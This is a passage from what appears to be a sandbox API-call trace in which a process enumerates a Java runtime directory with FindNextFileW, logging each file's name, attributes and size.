wcscmp (_String1="fontmanager.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0127.111] wcscmp (_String1="fxplugins.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="fxplugins.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0127.111] wcscmp (_String1="glass.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="glass.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0127.111] wcscmp (_String1="glib-lite.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="glib-lite.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0127.111] wcscmp (_String1="gstreamer-lite.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="gstreamer-lite.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0127.111] wcscmp (_String1="hprof.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="hprof.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="INSTAL~1.DLL")) returned 1 [0127.112] wcscmp (_String1="installer.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="installer.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0127.112] wcscmp (_String1="instrument.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="instrument.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="j2pcsc.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="j2pcsc.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="j2pkcs11.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="j2pkcs11.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="jaas_nt.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="jaas_nt.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0127.112] wcscmp (_String1="jabswitch.exe", _String2=".") returned 1 [0127.112] wcscmp (_String1="jabswitch.exe", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="java-rmi.exe", _String2=".") returned 1 [0127.112] wcscmp (_String1="java-rmi.exe", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="java.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="java.dll", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0127.112] wcscmp (_String1="java.exe", _String2=".") returned 1 [0127.112] wcscmp (_String1="java.exe", _String2="..") returned 1 [0127.112] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0127.112] wcscmp (_String1="JavaAccessBridge-32.dll", _String2=".") returned 1 [0127.112] wcscmp (_String1="JavaAccessBridge-32.dll", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0127.113] wcscmp (_String1="javacpl.exe", _String2=".") returned 1 [0127.113] wcscmp (_String1="javacpl.exe", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0127.113] wcscmp (_String1="javafx-font.dll", _String2=".") returned 1 [0127.113] wcscmp (_String1="javafx-font.dll", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0127.113] wcscmp (_String1="javafx-iio.dll", _String2=".") returned 1 [0127.113] wcscmp (_String1="javafx-iio.dll", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0127.113] wcscmp (_String1="javaw.exe", _String2=".") returned 1 [0127.113] wcscmp (_String1="javaw.exe", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0127.113] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0127.113] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0127.113] wcscmp (_String1="java_crw_demo.dll", _String2=".") returned 1 [0127.113] wcscmp (_String1="java_crw_demo.dll", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0127.113] wcscmp (_String1="jawt.dll", _String2=".") returned 1 [0127.113] wcscmp (_String1="jawt.dll", _String2="..") returned 1 [0127.113] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0127.116] wcscmp (_String1="JAWTAccessBridge-32.dll", _String2=".") returned 1 [0127.116] wcscmp (_String1="JAWTAccessBridge-32.dll", _String2="..") returned 1 [0127.116] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1 [0127.116] wcscmp (_String1="JdbcOdbc.dll", _String2=".") returned 1 [0127.116] wcscmp (_String1="JdbcOdbc.dll", _String2="..") returned 1 [0127.116] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0127.116] wcscmp (_String1="jdwp.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jdwp.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jfr.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jfr.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jfxmedia.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jfxmedia.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0127.117] wcscmp (_String1="jfxwebkit.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jfxwebkit.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jli.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jli.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jp2iexp.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jp2iexp.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0127.117] wcscmp (_String1="jp2launcher.exe", _String2=".") returned 1 [0127.117] wcscmp (_String1="jp2launcher.exe", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0127.117] wcscmp (_String1="jp2native.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jp2native.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jp2ssv.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jp2ssv.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jpeg.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jpeg.dll", _String2="..") returned 1 [0127.117] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1 [0127.117] wcscmp (_String1="jpicom.dll", _String2=".") returned 1 [0127.117] wcscmp (_String1="jpicom.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jpiexp.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jpiexp.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jpinscp.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jpinscp.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, 